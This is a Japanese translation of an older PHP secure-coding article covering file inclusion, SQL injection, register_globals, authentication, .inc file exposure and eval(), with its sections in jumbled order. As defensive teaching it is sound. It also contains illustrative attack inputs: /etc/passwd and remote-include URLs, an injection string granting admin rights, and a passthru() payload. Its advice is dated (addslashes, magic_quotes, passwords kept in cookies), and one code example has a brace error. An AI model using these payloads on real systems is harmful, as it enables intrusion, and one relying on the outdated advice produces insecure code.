**1.
ユーザーの入力から決めた名前のファイルは、はじめにきちんとチェックしないうちは
include, require, その他の方法で絶対に開かない。

次の例を見てみましょう:

if(isset($page))
{
include($page);
}

$pageに関してなんの検査もしていないので、悪意のあるユーザーが次のようにして
スクリプトを呼ぶことが考えられます。(register_globalsがONの場合)

script.php?page=/etc/passwd

その結果として、スクリプトがサーバーの/etc/passwdというファイルを
includeしてしまいます。
PHPではないファイルがinclude()またはrequire()されると、
そのファイルはHTMLまたはテキストとして表示され、
PHPのコードとしては展開されません。

多くのPHPの設置環境では、include()やrequire()の関数は
リモートファイルをincludeすることができます。
悪意のあるユーザーがもしも次のようにしてスクリプトを呼び出すとしたら:

script.php?page=http://mysite.com/evilscript.php

evilscript.phpを使って、あなたのスクリプトに実行させたい任意の
PHPコードを、出力できてしまうでしょう。
想像してみてください。もしユーザーがあなたのデータベースからその内容を消去する
コードを送信したとしたら。そうでなくても、慎重に取り扱わなければいけない情報を
ブラウザに直接送信したとしたら。

解決方法:入力を検査しましょう。
検査方法のひとつは、入力を許可するページの一覧をつくることです。
この一覧に該当しない入力の場合は、エラーを表示できます。

$pages = array('index.html', 'page2.html', 'page3.html');
if( in_array($page, $pages) )
{
include($page);
{
else
{
die("Nice Try.");
}

**4.
エスケープされていないクエリを絶対に実行しない

PHPにはGET,POST,COOKIEにふくまれる特定の文字を自動的に
エスケープ(直前にバックスラッシュをおく)する機能があり、標準で有効になっています。
自動的にエスケープする文字としては、例えば単引用符(')があります。
これはSQLクエリに入力変数がふくまれる場合に、単引用符を
クエリの一部として扱わないようにするために行われます。
あなたのユーザーが$nameをフォームから入力したとしましょう。
そしてあなたは次のようなクエリを実行したとします。

UPDATE users SET Name='$name' WHERE ID=1;

普通の設定では、入力した$nameに単引用符を含めた場合は、それらはエスケープされます。
ですからMySQLには次のように見えているはずです。

UPDATE users SET Name='Joe\'s' WHERE ID=1

これは"Joe's"に含まれている単引用符がクエリの文法と干渉しないためです。

状況によっては、入力変数にstripslashes()をほどこすのもいいでしょう。
クエリに変数を代入するときは、クエリを実行する前にaddslashes()や
mysql_escape_string()を使って単引用符をエスケープするようにしましょう。
想像してみてください。スラッシュを施されていないクエリが送信され、
悪意のあるユーザーがクエリの一部に彼らの名前を入力していたとしたら!

UPDATE users SET Name='Joe',Admin='1' WHERE ID=1

入力フォームでは、ユーザーは自分の名前を次のように入力していたはずです。

Joe',Admin='1

単引用符はエスケープされていないので、彼/彼女は実際には名前の定義を終えて、
カンマをはさみ、Adminという別の変数を設定できてしまっています!

青色入力の最後のクエリは次のように見えるはずです:

UPDATE users SET Name='Joe',Admin='1' WHERE ID=1

設定によっては、magic_quotes_gpc(すべての入力に自動的にスラッシュを付け加える機能)
がOFFのことがあります。
ONかどうか知るにはget_magic_quotes_gpc()を使います(trueかfalseを返します)。
falseを返したときは、addslashes()ですべての入力にスラッシュをつけ加えるだけです
(これはグローバル変数のかわりに$_POST, $_GET, $_COOKIEまたは
$HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_COOKIE_VARSを使う場合の
一番単純な方法です。なぜならforeach()ループを使ってそれらの配列を順番に処理し、
それぞれにスラッシュをつけ加えることができるからです)。

**5.
保護された領域には、セッションを使うかログインごとに認証しましょう。

プログラマーがlogin.phpのような類のスクリプトしか使わずに、
(フォームから入力された)ユーザー名やパスワードを初めに認証し、
管理者権限持ちかや正しいユーザーであるかをテストし、
実際にクッキーから変数を設定したり隠蔽値にする場合があります。
それからコードの中で、次のようにアクセス権の有無をチェックします:

if($admin)
{
// let them in
}
else
{
// kick them out
}

上記のコードでは、$admin変数はクッキーや入力フォームからしか入力されなくて、
それらは悪意のあるユーザーが操作できないという致命的な仮定をしています。
しかしながら、それはこの場合には単純に当てはまりません。
register_globalsが有効な場合、$admin変数に意図的に作られた入力を入れるのは
、次のようなスクリプトの呼び出しと同じぐらい簡単です。:

script.php?admin=1

なお、たとえスーパーグローバル変数である$_COOKIEや$_POSTを使っていても、
悪意のあるユーザーは簡単にクッキーを偽造したりHTMLフォームを自作して
あなたのスクリプトに任意の情報をポストできます。

この問題にはよい解決方法が2つあります。
一つ目の方法は、$admin変数を設定するのは同じですが、
今度は$adminをセッション変数として設定します。
この場合、変数はサーバーに格納され、ずっと偽造されにくくなります。
同じスクリプトに続いて起こる呼び出しにおいて、
あなたのユーザーの以前のセッション情報はサーバー上で取得でき、
そのユーザーが管理者かどうかなどを確認することができます。

if( $_SESSION['admin'] )

2つ目の解決方法は、ユーザー名とパスワードをクッキーに入れるだけにして、
スクリプトの呼び出しごとにユーザー名とパスワードを認証し、
そのユーザーが管理者であることを確認することです。
あなたは2つの関数を使えるはずです。--一つはvalidate_login($username,$password)
と呼ばれ、ユーザーのログイン情報を確認するものです。もう一つはis_admin($username)
と呼ばれ、ユーザー名が管理者のものかをデータベースに照会するものです。
このコードは保護されたスクリプトの先頭に置きます。

if( !validate_login( $_COOKIE['username'], $_COOKIE['password'] ) )
{
echo "Sorry, invalid login";
exit;
}

// the login is ok if we made it down here
if( !is_admin( $_COOKIE['username'] ) )
{
echo "Sorry, you do not have access to this section";
exit;
}

私個人としては、セッションを使うことをオススメします。
後者の解決方法は調整がきかないので。

**3.
register_globals=ONにするときは注意。

この機能ができるまでは、これが一番重要な問題でした。
もともとはPHPで簡単にプログラミングできるように作られたもので、
実際役に立ったのですが、間違った使い方をするとしばしば
セキュリティーホールにつながることがありました。
PHP4.2.0の場合、register_globalsは初期設定でOFFになってます。
入力を扱う場合はsuperglobals変数($_GET, $_POST, $_COOKIE, $_SESSIONなど)を
使うことをオススメします。

例えば、includeするページを指定する変数があるとしましょう:

include($page);

しかしあなたは、$pageは設定ファイルやスクリプト内の別の場所で定義され、
ユーザーの入力からはとってこないと想定していました。
あるときたまたまあなたは$pageを事前に定義するのを忘れました。
もしregister_globalsがONなら、悪意のあるユーザーが作業を引き継ぎ、
次のようにスクリプトを呼び出して、
あなたのために$pageを定義してしまう可能性があります。

script.php?page=http://www.example.com/evilscript.php

register_globalsをOFFにして開発し、ユーザーの入力にアクセスするときは
superglobalsを使うことをオススメします。さらに、スクリプトオ先頭で
次のように指定して、つねにすべてのエラーを報告するようにして開発すべきです。

error_reporting(E_ALL);

こうすれば、定義されていないすべての変数で、
それを呼ぼうとしたときに通知を受け取れます。
たしかに、PHPは変数を定義する必要がないので無視できる通知があるかもしれません。
しかしそれは入力やほかのソースから来ると想定した変数が
未定義なのを知るのに役立ちます。
前述の例では、$pageがinclude()文で参照されていた場合、
PHPは$pageが定義されていないという通知を発行します。

register_globalsを使うかどうかはあなた次第です。
しかしその利点・欠点をわかっていることと、
起こりうるセキュリティーホールの直し方は確認しておいてください。

**6.
ファイルの内容を見られたくない場合は、ファイルに.phpの拡張子をつけましょう。

インクルードファイルやライブラリファイルには.incの拡張子をつけることが
しばらくの間一般的な習慣として行われていました。
ここで問題があります:もし悪意のあるユーザーが単純にブラウザで.incファイルを
入力したら、それはただのテキストとして表示され、PHPとして解釈されません。
たとえブラウザがそのファイル形式を認識できなくても、
おそらくダウンロードするオプションが与えられるでしょう。
想像してみてください。このファイルがあなたのログインやパスワードのデータベース
だったり、それよりも重要な情報であったとしたら。

これは.php(それと、ほかのいくつか)以外の任意の拡張子でも言えることで、
.confや.cfgファイルも安全ではありません。

解決方法は、それらの終端に.phpの拡張子を付け加えることです。
includeファイルや設定ファイルは普通、変数や関数を定義するだけで、
実際に何かを出力することはありません。
ですから、たとえば、ユーザーがブラウザで次のように読み出そうとしても:

http://yoursite.com/lib.inc.php

lib.inc.phpがなにかを出力しない限り、なにも表示されません。
いずれにしても、ファイルはあなたのコードを単に表示するかわりに、
PHPとして解釈されます。

Apacheのディレクティブを追加して.incファイルへのアクセスを遮断する報告をする人も
います。しかしながら、この方法は移植性がないのでオススメしません。
もし.incファイルとApacheディレクティブに頼ってアクセスを遮断しても、
ある日あなたのスクリプトを別のサーバーに移し、Apacheディレクティブを入れ忘れたら、
完全に公開状態になってしまいます。

**2.
eval()に注意。

ユーザーが入力した値をeval()に渡すのは非常に危険です。
これは悪意のあるユーザーが任意のコマンドを
実行できるようにしてあげるのと同じことです。
あなたの決めた特定のオプションからなるドロップダウンメニューから入力が来ることを
想定しているかもしれません。しかしユーザーは次のような入力を送信するかもしれません:

script.php?input=;passthru("cat /etc/paswd");

この文に自身のコードを置くことにより、ユーザーはあなたのプログラムが
あなたのサーバーの/etc/passwdファイルを出力できるようにしてしまう可能性があります。

eval()は控えめに使うようにし、あらゆる手段を使って入力を検査しましょう。
これは絶対に必要な場合だけつかうべきです。
つまり動的に生成されたPHPコードがある場合です。
もしテンプレートになる変数を文字列に置換したり、ユーザーの入力を
置換したりするのに使っているなら、それは間違った使い方です。
sprintf()やtemplate systemをかわりに使ってみてください。

*PHP Security Mistakes
原文:http://www.devshed.com/c/a/PHP/PHP-Security-Mistakes/

日本語訳:usj12262

この文書は、PHPスクリプトによく見られるセキュリティー上の一般的なミスの事例を
PHPプログラマーにお知らせするために書いたものです。
後述する考え方は誰もが知っていることですが、
不幸なことに誰もが実践できているわけではありません。
あなたのコードに後述の事例を適用すれば、多くのスクリプトにはびこる
セキュリティーホールの大部分を消し去ることができます。
これらのセキュリティーホールの多くは、多くの人が利用している過去の
オープンソースまたは商用のPHPスクリプトで見つかったものです。
この記事から学ぶべき一番大事な考え方は、あなたが期待するような入力をユーザーが
正しくやってくれると信じてはいけない、ということです。
PHPスクリプトの感染方法のほとんどは、スクリプトに残されたセキュリティーホールを
悪用して、予期しないデータを入力することによるものです。

スクリプトを作るときは、いつも次のような原則を念頭に置いてください。